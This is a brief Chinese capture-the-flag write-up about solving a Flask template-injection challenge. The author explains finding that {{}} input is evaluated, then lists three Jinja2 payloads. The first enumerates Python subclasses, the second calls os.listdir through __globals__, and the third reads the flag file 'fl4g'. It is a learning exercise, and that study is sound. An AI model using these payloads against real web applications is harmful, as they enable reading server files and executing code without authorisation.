原题解题思路
一说到python的web我就想到flask框架,但从没用过flask注入。
从零学习flask模板注入,这篇文章有详细的介绍。
经过尝试很快就能发现使用{{}}就能注入,并且会回显报错信息,3的位置是{{}}中语句的执行结果。
找可用的引用,有一个file的类型(真不好找啊,又多字长得又像),flag应该会保存至文件中。
{{''.__class__.__mro__[2].__subclasses__()}}
file出现在第41个type中,在72个type有print。
先打印后端的一些文件
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
再打印flag
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}